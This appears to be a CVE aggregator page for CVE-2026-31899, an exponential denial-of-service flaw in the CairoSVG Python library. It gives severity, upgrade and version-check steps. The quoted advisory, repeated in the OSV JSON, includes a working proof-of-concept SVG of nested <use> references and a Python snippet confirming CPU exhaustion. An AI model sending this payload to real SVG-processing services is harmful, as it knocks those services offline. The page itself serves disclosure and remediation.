CVE-2026-31899: CairoSVG Denial of Service Vulnerability

Q: What is CVE-2026-31899?

CVE-2026-31899 is a security vulnerability in CairoSVG involving CairoSVG vulnerable to Exponential DoS via recursive element amplification under CWE-400: Uncontrolled Resource Consumption.

HIGH

Advisory Identifier: GHSA-f38f-5xpm-9r7c

CVSS 7.5

CWE-400

Published 2026-03-13

Advisory Summary

CVE-2026-31899 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting CairoSVG libraries in the PyPI ecosystem. The issue involves cairosvg vulnerable to exponential dos via recursive <use> element amplification. Remediation is available by upgrading affected packages to version 2.9.0.

CVE-2026-31899 at a Glance

CVE Identifier CVE-2026-31899

GHSA Identifier GHSA-f38f-5xpm-9r7c

Severity HIGH

CVSS v3.1 Base Score 7.5

CWE Classification CWE-400: Uncontrolled Resource Consumption

Affected Product CairoSVG

Package Ecosystem PyPI

Published Date 2026-03-13

Last Updated 2026-04-15

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality None (C:N)

Integrity None (I:N)

Availability High (A:H)

How to Fix CVE-2026-31899

To remediate this vulnerability, upgrade all affected CairoSVG dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

CairoSVG fixed: 2.9.0

pip install CairoSVG>=2.9.0

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show CairoSVG

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-31899, inspect your installed packages using pip:

pip show CairoSVG

Analyze the terminal output to locate any version of CairoSVG in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.0), your application is affected.

Note: The pip show CairoSVG command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In CairoSVG, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input. ## Severity High — CVSS 3.1: 7.5 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` ## Vulnerable Code File: `cairosvg/defs.py` (line ~335), function `use()` The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls. ## Impact - 1,411-byte SVG payload pins CPU at 100% indefinitely - Memory stays flat at ~43MB — no OOM kill, process never terminates - Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able - Amplification factor: O(10^N) rendering calls from O(N) input ## Proof of Concept Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`: ```xml <?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <g id="a"><rect width="1" height="1"/></g> <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g> <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g> <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g> <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g> </defs> <use xlink:href="#e"/> </svg> ``` Expected: `timeout` kills the process after 10 seconds (it never completes on its own). Alternatively test with Python: ```python import cairosvg, signal signal.alarm(5) # Kill after 5 seconds try: cairosvg.svg2png(bytestring=open("poc.svg").read()) except: print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s") ``` ## Suggested Fix Add recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification. ## References - [CWE-400](https://cwe.mitre.org/data/definitions/400.html) ## Credit Kai Aizen (SnailSploit) — Adversarial AI & Security Research

CVE-2026-31899 Affected CairoSVG Versions

1 component(s)

Fixed Versions:

2.9.0

Product / Package	Ecosystem	Affected Versions	Fixed Version
CairoSVG pypi/CairoSVG	PyPI	< 2.9.0	2.9.0

References

GitHub Advisory / Wiki ADVISORY

https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c

Security Fix Commit FIX COMMIT

https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf

CairoSVG Source Repository REPOSITORY

https://github.com/Kozea/CairoSVG

Frequently Asked Questions

What is CVE-2026-31899?

CVE-2026-31899 is a security vulnerability in CairoSVG involving CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification under CWE-400: Uncontrolled Resource Consumption.

Which CairoSVG versions are affected?

Affected versions include releases prior to 2.9.0 across affected packages: CairoSVG.

What version fixes CVE-2026-31899?

Upgrading to 2.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.

Is CairoSVG affected?

Yes, CairoSVG is affected in releases prior to 2.9.0. Upgrade your dependency to 2.9.0 or later.

What is the CVSS score of CVE-2026-31899?

CVE-2026-31899 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

What CWE is associated with CVE-2026-31899?

CVE-2026-31899 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).

How can I check PyPI dependencies for CVE-2026-31899?

Run the dependency tree command: 'pip show CairoSVG'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f38f-5xpm-9r7c",
  "modified" : "2026-04-15T21:09:46Z",
  "published" : "2026-03-13T18:57:31Z",
  "aliases" : [ "CVE-2026-31899" ],
  "summary" : "CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification",
  "details" : "## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh — CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n<?xml version=\"1.0\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <defs>\n    <g id=\"a\"><rect width=\"1\" height=\"1\"/></g>\n    <g id=\"b\"><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/></g>\n    <g id=\"c\"><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/></g>\n    <g id=\"d\"><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/></g>\n    <g id=\"e\"><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/></g>\n  </defs>\n  <use xlink:href=\"#e\"/>\n</svg>\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "CairoSVG"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.8.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Kozea/CairoSVG"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-13T18:57:31Z",
    "nvd_published_at" : "2026-03-13T19:54:38Z"
  }
}

CVSS V3

7.5 HIGH